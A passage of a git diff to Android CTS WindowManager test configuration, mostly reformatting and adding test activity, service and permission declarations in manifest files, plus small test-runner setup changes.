-        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity2" />
-        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivityWithBrokenContextWrapper" />
+             android:resizeableActivity="true"
+             android:theme="@style/no_starting_window"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
+        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivity2"/>
+        <activity android:name="android.server.wm.MultiDisplaySystemDecorationTests$ImeTestActivityWithBrokenContextWrapper"/>
 
-        <activity android:name="android.server.wm.MultiDisplayClientTests$ClientTestActivity" />
+        <activity android:name="android.server.wm.MultiDisplayClientTests$ClientTestActivity"/>
         <activity android:name="android.server.wm.MultiDisplayClientTests$NoRelaunchActivity"
-                  android:resizeableActivity="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
-        />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
 
-        <activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity" />
-
-        <activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardActivity"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SecondStandardActivity"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardWithSingleTopActivity"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTopActivity"
-                  android:launchMode="singleTop"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleInstanceActivity"
-                  android:launchMode="singleInstance"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTaskActivity"
-                  android:launchMode="singleTask"
-                  android:exported="true" />
-
-        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$TestLaunchingActivity"
-                  android:taskAffinity="nobody.but.LaunchingActivity"
-                  android:exported="true" />
-
-        <activity
-            android:name="android.server.wm.lifecycle.ActivityStarterTests$LaunchingAndFinishActivity"
-            android:taskAffinity="nobody.but.LaunchingActivity"
-            android:exported="true"/>
-
-        <activity android:name="android.server.wm.ActivityViewTest$ActivityViewTestActivity"
-                  android:configChanges="keyboardHidden"
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemWindowActivity"
+                  android:process=":swa"
+                  android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$InternalSystemWindowActivity"
+                  android:process=":iswa"
+                  android:exported="true"/>
+        <activity android:name="android.server.wm.HideOverlayWindowsTest$SystemApplicationOverlayActivity"
+                  android:process=":saoa"
                   android:exported="true"/>
 
-        <provider
-            android:name="android.server.wm.TestJournalProvider"
-            android:authorities="android.server.wm.testjournalprovider"
-            android:exported="true" />
+        <activity android:name="android.server.wm.KeyguardLockedTests$ShowImeAfterLockscreenActivity"/>
+
+        <activity android:name="android.server.wm.KeyguardLockedTests$ShowWhenLockedImeActivity"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SecondStandardActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$StandardWithSingleTopActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTopActivity"
+             android:launchMode="singleTop"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleInstanceActivity"
+             android:launchMode="singleInstance"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$SingleTaskActivity"
+             android:launchMode="singleTask"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$DocumentIntoExistingActivity"
+                  android:documentLaunchMode="intoExisting"
+                  android:exported="true"/>
+        <activity-alias
+            android:name="android.server.wm.lifecycle.ActivityStarterTests$DocumentIntoExistingAliasActivity"
+            android:targetActivity="android.server.wm.lifecycle.ActivityStarterTests$DocumentIntoExistingActivity"
+            android:exported="true">
+        </activity-alias>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$TestLaunchingActivity"
+             android:taskAffinity="nobody.but.LaunchingActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$LaunchingAndFinishActivity"
+             android:taskAffinity="nobody.but.LaunchingActivity"
+             android:exported="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$ClearTaskOnLaunchActivity"
+                  android:clearTaskOnLaunch="true"/>
+
+        <activity android:name="android.server.wm.lifecycle.ActivityStarterTests$FinishOnTaskLaunchActivity"
+                  android:finishOnTaskLaunch="true"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.ActivityViewTest$ActivityViewTestActivity"
+             android:configChanges="keyboardHidden"
+             android:exported="true"/>
+
+        <provider android:name="android.server.wm.TestJournalProvider"
+             android:authorities="android.server.wm.testjournalprovider"
+             android:exported="true"/>
 
         <!--intent tests-->
         <activity android:name="android.server.wm.intent.Activities$RegularActivity"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleTopActivity"
-            android:launchMode="singleTop"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleInstanceActivity"
-            android:launchMode="singleInstance"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleInstanceActivity2"
-            android:launchMode="singleInstance"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleTaskActivity"
-            android:launchMode="singleTask"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$SingleTaskActivity2"
-            android:launchMode="singleTask"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity1Activity"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity1Activity2"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
-            android:relinquishTaskIdentity="true"
-            android:taskAffinity=".t1"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity2Activity"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t2"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$TaskAffinity3Activity"
-            android:allowTaskReparenting="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t3"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$ClearTaskOnLaunchActivity"
-            android:allowTaskReparenting="true"
-            android:clearTaskOnLaunch="true"
-            android:launchMode="standard"
-            android:taskAffinity=".t2"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$DocumentLaunchIntoActivity"
-            android:documentLaunchMode="intoExisting"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$DocumentLaunchAlwaysActivity"
-            android:documentLaunchMode="always"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$DocumentLaunchNeverActivity"
-            android:documentLaunchMode="never"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$NoHistoryActivity"
-            android:noHistory="true"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$LauncherActivity"
-            android:documentLaunchMode="always"
-            android:launchMode="singleInstance"/>
-        <activity
-            android:name="android.server.wm.intent.Activities$RelinquishTaskIdentityActivity"
-            android:relinquishTaskIdentity="true"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleTopActivity"
+             android:launchMode="singleTop"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleInstanceActivity"
+             android:launchMode="singleInstance"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleInstanceActivity2"
+             android:launchMode="singleInstance"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleTaskActivity"
+             android:launchMode="singleTask"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleTaskActivity2"
+             android:launchMode="singleTask"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleInstancePerTaskActivity"
+             android:launchMode="singleInstancePerTask"/>
+        <activity android:name="android.server.wm.intent.Activities$SingleInstancePerTaskDocumentNeverActivity"
+             android:launchMode="singleInstancePerTask"
+             android:documentLaunchMode="never"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity1Activity"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity1Activity2"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity"
+             android:relinquishTaskIdentity="true"
+             android:taskAffinity=".t1"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity2Activity"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t2"/>
+        <activity android:name="android.server.wm.intent.Activities$TaskAffinity3Activity"
+             android:allowTaskReparenting="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t3"/>
+        <activity android:name="android.server.wm.intent.Activities$ClearTaskOnLaunchActivity"
+             android:allowTaskReparenting="true"
+             android:clearTaskOnLaunch="true"
+             android:launchMode="standard"
+             android:taskAffinity=".t2"/>
+        <activity android:name="android.server.wm.intent.Activities$DocumentLaunchIntoActivity"
+             android:documentLaunchMode="intoExisting"/>
+        <activity android:name="android.server.wm.intent.Activities$DocumentLaunchAlwaysActivity"
+             android:documentLaunchMode="always"/>
+        <activity android:name="android.server.wm.intent.Activities$DocumentLaunchNeverActivity"
+             android:documentLaunchMode="never"/>
+        <activity android:name="android.server.wm.intent.Activities$NoHistoryActivity"
+             android:noHistory="true"/>
+        <activity android:name="android.server.wm.intent.Activities$LauncherActivity"
+             android:documentLaunchMode="always"
+             android:launchMode="singleInstance"/>
+        <activity android:name="android.server.wm.intent.Activities$RelinquishTaskIdentityActivity"
+             android:relinquishTaskIdentity="true"/>
 
-        <service
-            android:name="android.server.wm.TestLogService"
-            android:enabled="true"
-            android:exported="true">
+        <service android:name="android.server.wm.TestLogService"
+             android:enabled="true"
+             android:exported="true">
         </service>
 
         <activity android:name="android.server.wm.AlertWindowsAppOpsTestsActivity"/>
-        <activity android:name="android.server.wm.CloseOnOutsideTestActivity" />
+        <activity android:name="android.server.wm.CloseOnOutsideTestActivity"
+                  android:theme="@style/no_starting_window"/>
         <activity android:name="android.server.wm.DialogFrameTestActivity" />
         <activity android:name="android.server.wm.DisplayCutoutTests$TestActivity"
                   android:configChanges="orientation|screenSize"
@@ -312,124 +315,183 @@
                   android:turnScreenOn="true"
                   android:showWhenLocked="true"/>
 
-        <activity android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$TestActivity"
+        <activity android:name="android.server.wm.RoundedCornerTests$TestActivity"
+                  android:configChanges="orientation|screenSize"
+                  android:screenOrientation="nosensor"
                   android:turnScreenOn="true"
                   android:showWhenLocked="true"/>
-        <service
-            android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$SimpleIme"
-            android:label="Simple IME"
-            android:permission="android.permission.BIND_INPUT_METHOD">
+
+        <activity android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$TestActivity"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"/>
+        <service android:name="android.server.wm.WindowInsetsAnimationSynchronicityTests$SimpleIme"
+             android:label="Simple IME"
+             android:permission="android.permission.BIND_INPUT_METHOD"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.view.InputMethod" />
+                <action android:name="android.view.InputMethod"/>
             </intent-filter>
-            <meta-data
-                android:name="android.view.im"
-                android:resource="@xml/simple_method" />
+            <meta-data android:name="android.view.im"
+                 android:resource="@xml/simple_method"/>
         </service>
 
         <activity android:name="android.server.wm.KeyEventActivity"
-                  android:exported="true"
-                  android:configChanges="orientation|screenLayout"
-                  android:showWhenLocked="true"
-        />
+             android:exported="true"
+             android:configChanges="orientation|screenLayout"
+             android:showWhenLocked="true"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$TestActivity"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"/>
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$FullscreenTestActivity"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$FullscreenWmFlagsTestActivity"/>
         <activity android:name="android.server.wm.WindowInsetsPolicyTest$ImmersiveFullscreenTestActivity"
-                  android:documentLaunchMode="always"
-                  android:theme="@style/no_animation" />
+             android:documentLaunchMode="always"
+             android:theme="@style/no_animation"/>
         <activity android:name="android.server.wm.LayoutTests$TestActivity"
-                  android:theme="@style/no_animation" />
+             android:theme="@style/no_animation"/>
         <activity android:name="android.server.wm.LocationOnScreenTests$TestActivity"
-                  android:theme="@style/no_starting_window" />
-        <activity android:name="android.server.wm.LocationInWindowTests$TestActivity" />
+             android:theme="@style/no_starting_window"/>
+        <activity android:name="android.server.wm.LocationInWindowTests$TestActivity"/>
         <activity android:name="android.server.wm.EnsureBarContrastTest$TestActivity"
-                  android:theme="@style/no_starting_window" />
-        <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity" />
+             android:theme="@style/no_starting_window"/>
+        <activity android:name="android.server.wm.WindowFocusTests$PrimaryActivity"/>
         <activity android:name="android.server.wm.WindowFocusTests$SecondaryActivity"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density" />
-        <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity" />
-        <activity android:name="android.server.wm.WindowMetricsTests$MetricsActivity"
-                  android:exported="true" />
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density"/>
+        <activity android:name="android.server.wm.WindowFocusTests$LosingFocusActivity"/>
+        <activity android:name="android.server.wm.WindowFocusTests$AutoEngagePointerCaptureActivity" />
+        <activity android:name="android.server.wm.WindowMetricsActivityTests$MetricsActivity"
+             android:exported="true"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
         <activity android:name="android.app.Activity"/>
-        <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity" />
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity" />
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity" />
-        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity" />
+        <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity"
+                  android:theme="@style/no_starting_window"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"/>
+        <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity"/>
 
         <activity android:name="android.server.wm.DragDropTest$DragDropActivity"
-                  android:screenOrientation="locked"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:label="DragDropActivity">
+             android:screenOrientation="locked"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:label="DragDropActivity"
+             android:hardwareAccelerated="true"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
 
-        <activity
-            android:name="android.server.wm.DecorInsetTestsBase$TestActivity"
-            android:label="DecorInsetTestsBase.TestActivity"
-            android:exported="true" />
+        <activity android:name="android.server.wm.DragDropTest$SoftwareCanvasDragDropActivity"
+            android:screenOrientation="locked"
+            android:turnScreenOn="true"
+            android:showWhenLocked="true"
+            android:label="DragDropTest$SoftwareCanvasDragDropActivity"
+            android:hardwareAccelerated="false"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
+            </intent-filter>
+        </activity>
+
+        <activity android:name="android.server.wm.DecorInsetTestsBase$TestActivity"
+             android:label="DecorInsetTestsBase.TestActivity"
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.WindowCtsActivity"
-                  android:theme="@android:style/Theme.Material.NoActionBar"
-                  android:screenOrientation="locked"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:configChanges="orientation|screenSize|screenLayout|keyboardHidden"
-                  android:label="WindowCtsActivity">
+             android:theme="@android:style/Theme.Material.NoActionBar"
+             android:screenOrientation="locked"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:label="WindowCtsActivity"
+             android:configChanges="orientation|screenSize|screenLayout|keyboardHidden"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.server.wm.SurfaceViewCtsActivity"
-                  android:screenOrientation="locked"
-                  android:turnScreenOn="true"
-                  android:showWhenLocked="true"
-                  android:label="SurfaceViewCtsActivity">
+             android:screenOrientation="locked"
+             android:turnScreenOn="true"
+             android:showWhenLocked="true"
+             android:label="SurfaceViewCtsActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
-                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST" />
+                <category android:name="android.intent.category.FRAMEWORK_INSTRUMENTATION_TEST"/>
             </intent-filter>
         </activity>
         <activity android:name="android.view.cts.surfacevalidator.CapturedActivity"
-                  android:screenOrientation="locked"
-                  android:theme="@style/WhiteBackgroundTheme">
+             android:screenOrientation="locked"
+             android:theme="@style/WhiteBackgroundTheme"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
         <activity android:name="android.server.wm.WindowInputTests$TestActivity" />
 
         <service android:name="android.view.cts.surfacevalidator.LocalMediaProjectionService"
-                 android:foregroundServiceType="mediaProjection"
-                 android:enabled="true">
+             android:foregroundServiceType="mediaProjection"
+             android:enabled="true">
         </service>
 
         <activity android:name="android.server.wm.StartActivityAsUserActivity"
-                  android:directBootAware="true"/>
+             android:directBootAware="true"/>
 
         <activity android:name="android.server.wm.WindowInsetsAnimationTestBase$TestActivity"
-                  android:theme="@android:style/Theme.Material.NoActionBar" />
+             android:theme="@android:style/Theme.Material.NoActionBar"/>
 
         <activity android:name="android.server.wm.ForceRelayoutTestBase$TestActivity"
-                  android:exported="true" />
+             android:exported="true"/>
 
         <activity android:name="android.server.wm.ActivityTransitionTests$LauncherActivity"/>
 
         <activity android:name="android.server.wm.ActivityTransitionTests$TransitionActivity"/>
+
+        <activity android:name="android.server.wm.WindowUntrustedTouchTest$TestActivity"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.DisplayHashManagerTest$TestActivity"
+                   android:exported="true"/>
+
+        <activity android:name="android.server.wm.CompatChangeTests$ResizeablePortraitActivity"
+                  android:resizeableActivity="true"
+                  android:screenOrientation="portrait"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.CompatChangeTests$NonResizeablePortraitActivity"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="portrait"
+                  android:exported="true"/>
+
+        <activity android:name="android.server.wm.CompatChangeTests$SupportsSizeChangesPortraitActivity"
+                  android:resizeableActivity="false"
+                  android:screenOrientation="portrait"
+                  android:exported="true">
+            <meta-data android:name="android.supports_size_changes"
+                       android:value="true"/>
+        </activity>
+
+        <service android:name="android.server.wm.WindowContextTests$TestWindowService"
+                 android:exported="true"
+                 android:enabled="true" />
+        <activity android:name="android.server.wm.WindowContextTests$TestActivity"
+                  android:exported="true"
+                  android:resizeableActivity="true"
+                  android:supportsPictureInPicture="true"
+                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.server.wm.cts"
-                     android:label="CTS tests of WindowManager">
+         android:targetPackage="android.server.wm.cts"
+         android:label="CTS tests of WindowManager">
     </instrumentation>
 
 </manifest>
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 247a7ce..b38c81f 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -19,7 +19,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.LocationCheck"/>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true"/>
         <option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
@@ -29,6 +28,7 @@
         <option name="test-file-name" value="CtsAlertWindowService.apk"/>
         <option name="test-file-name" value="CtsDeviceServicesTestApp.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestApp27.apk" />
+        <option name="test-file-name" value="CtsDeviceServicesTestApp30.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestSecondApp.apk" />
         <option name="test-file-name" value="CtsDeviceServicesTestThirdApp.apk" />
         <option name="test-file-name" value="CtsDeviceDeprecatedSdkApp.apk" />
@@ -60,6 +60,8 @@
       <!-- Disable hidden API checking, see b/166236554 -->
         <option name="run-command" value="settings put global hidden_api_policy 1" />
         <option name="teardown-command" value="settings delete global hidden_api_policy" />
+        <option name="run-command" value="am compat enable ALLOW_TEST_API_ACCESS android.server.wm.app"  />
+        <option name="teardown-command" value="am compat reset ALLOW_TEST_API_ACCESS android.server.wm.app" />
     </target_preparer>
 
     <test class="com.android.tradefed.testtype.AndroidJUnitTest">
diff --git a/tests/framework/base/windowmanager/app/AndroidManifest.xml b/tests/framework/base/windowmanager/app/AndroidManifest.xml
index 7a44a00..942644d 100755
--- a/tests/framework/base/windowmanager/app/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/app/AndroidManifest.xml
@@ -16,161 +16,144 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-          xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
-          package="android.server.wm.app">
+     xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
+     package="android.server.wm.app">
 
     <!-- virtual display test permissions -->
-    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT" />
-    <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
-    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION" />
+    <uses-permission android:name="android.permission.CAPTURE_VIDEO_OUTPUT"/>
+    <uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
+    <uses-permission android:name="android.permission.BIND_VOICE_INTERACTION"/>
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
+    <uses-permission android:name="android.permission.HIDE_OVERLAY_WINDOWS"/>
 
     <application android:debuggable="true">
         <activity android:name=".TestActivity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:exported="true"/>
+        <activity android:name=".UiScalingTestActivity"
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:exported="true"/>
         <activity android:name=".TestActivityWithSameAffinity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.PipActivitySameAffinity"
-        />
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivitySameAffinity"/>
         <activity android:name=".TranslucentTestActivity"
-                android:resizeableActivity="true"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:theme="@style/Theme.Transparent"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:theme="@style/Theme.Transparent"
+             android:exported="true"/>
         <activity android:name=".VrTestActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"/>
         <activity-alias android:name=".AliasTestActivity"
-                  android:exported="true"
-                  android:targetActivity=".TestActivity"
-        />
+             android:exported="true"
+             android:targetActivity=".TestActivity"/>
         <activity android:name=".ResumeWhilePausingActivity"
-                android:allowEmbedded="true"
-                android:resumeWhilePausing="true"
-                android:taskAffinity=""
-                android:exported="true"
-        />
+             android:allowEmbedded="true"
+             android:resumeWhilePausing="true"
+             android:taskAffinity=""
+             android:exported="true"/>
         <activity android:name=".ResizeableActivity"
-                android:resizeableActivity="true"
-                android:allowEmbedded="true"
-                android:exported="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"
-        />
+             android:resizeableActivity="true"
+             android:allowEmbedded="true"
+             android:exported="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|colorMode|density|touchscreen"/>
         <activity android:name=".NonResizeableActivity"
-                android:resizeableActivity="false"
-                android:exported="true"
-        />
+             android:resizeableActivity="false"
+             android:exported="true"/>
         <activity android:name=".DockedActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.DockedActivity"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.DockedActivity"/>
         <activity android:name=".TranslucentActivity"
-            android:theme="@android:style/Theme.Translucent.NoTitleBar"
-            android:resizeableActivity="true"
-            android:taskAffinity="nobody.but.TranslucentActivity"
-            android:exported="true"
-        />
+             android:theme="@android:style/Theme.Translucent.NoTitleBar"
+             android:resizeableActivity="true"
+             android:taskAffinity="nobody.but.TranslucentActivity"
+             android:exported="true"/>
         <activity android:name=".DialogWhenLargeActivity"
-                android:exported="true"
-                android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"
-        />
+             android:exported="true"
+             android:theme="@android:style/Theme.DeviceDefault.Light.DialogWhenLarge"/>
         <activity android:name=".NoRelaunchActivity"
-                android:resizeableActivity="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale|colorMode|density|touchscreen"
-                android:exported="true"
-                android:taskAffinity="nobody.but.NoRelaunchActivity"
-        />
+             android:resizeableActivity="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout|fontScale|colorMode|density|touchscreen"
+             android:exported="true"
+             android:taskAffinity="nobody.but.NoRelaunchActivity"/>
         <activity android:name=".SlowCreateActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"/>
         <activity android:name=".LaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchingActivity"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.LaunchingActivity"/>
         <!--
-         * This activity should have same affinity as LaunchingActivity, because we're using it to
-         * check activities being launched into the same task.
-         -->
+                     * This activity should have same affinity as LaunchingActivity, because we're using it to
+                     * check activities being launched into the same task.
+                     -->
         <activity android:name=".AltLaunchingActivity"
-                android:resizeableActivity="true"
-                android:exported="true"
-                android:taskAffinity="nobody.but.LaunchingActivity"
-        />
+             android:resizeableActivity="true"
+             android:exported="true"
+             android:taskAffinity="nobody.but.LaunchingActivity"/>
         <activity android:name=".PipActivity"
-                android:resizeableActivity="false"
-                android:supportsPictureInPicture="true"
-                android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                android:exported="true"
-                android:taskAffinity="nobody.but.PipActivity"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivity"/>
         <activity android:name=".PipActivity2"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipActivity2"
-        />
+             android:resizeableActivity="false"
+             android:supportsPictureInPicture="true"
+             android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
+             android:exported="true"
+             android:taskAffinity="nobody.but.PipActivity2"/>
         <activity android:name=".PipOnStopActivity"
-                  android:resizeableActivity="false"
-                  android:supportsPictureInPicture="true"
-                  android:configChanges="orientation|screenSize|smallestScreenSize|screenLayout"
-                  android:exported="true"
-                  android:taskAffinity="nobody.but.PipOnStopActivity"
-        />
